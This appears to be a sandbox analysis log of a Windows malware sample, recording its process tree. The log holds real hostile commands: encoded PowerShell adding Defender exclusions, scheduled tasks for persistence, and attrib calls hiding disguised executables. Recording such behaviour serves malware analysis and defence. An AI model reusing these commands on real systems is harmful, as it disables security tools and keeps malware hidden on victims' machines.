  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AdABlAHIAbgBlAHQAIABFAHgAcABsAG8AcgBlAHIAXABcAFIAZQBjAG8AdgBlAHIAeQBcAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:816
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    - System Time Discovery
    PID:2040
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3788
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    - System Time Discovery
    PID:5832
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework" 2>nul'"
  2⤵
  PID:6504
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6936
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework
      4⤵
      Views/modifies file attributes
      PID:6488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe" 2>nul'"
  2⤵
  PID:6748
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6852
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:6796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXAAuAE4ARQBUAFwAXABGAHIAYQBtAGUAdwBvAHIAawAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXAAuAE4ARQBUAFwAXABGAHIAYQBtAGUAdwBvAHIAawBcAFwASQBFAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEkARQBVAHAAZABhAHQAZQAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5300
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5884
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2552
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling" 2>nul'"
  2⤵
  PID:2588
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6808
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling
      4⤵
      Views/modifies file attributes
      PID:3648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5536
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6836
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe
      4⤵
      Views/modifies file attributes
      PID:6800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHAAZQBsAGwAaQBuAGcAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHAAZQBsAGwAaQBuAGcAXABcAG0AcwBjAG8AcgBzAHYAdwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAG0AcwBjAG8AcgBzAHYAdwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:1564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:7000
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:3448
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:1952
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5672
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache" 2>nul'"
  2⤵
  PID:5716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3536
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache
      4⤵
      Views/modifies file attributes
      PID:6196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe" 2>nul'"
  2⤵
  PID:6580
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1184
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe
      4⤵
      Views/modifies file attributes
      PID:6912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABUAG8AawBlAG4AQgByAG8AawBlAHIAXABcAEMAYQBjAGgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:6736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABUAG8AawBlAG4AQgByAG8AawBlAHIAXABcAEMAYQBjAGgAZQBcAFwAUwBwAGUAbABsAEMAaABlAGMAawAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAcABlAGwAbABDAGgAZQBjAGsALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:2012
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:4348
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6188
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:1864
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials" 2>nul'"
  2⤵
  PID:3192
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5960
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials
      4⤵
      Views/modifies file attributes
      PID:1556
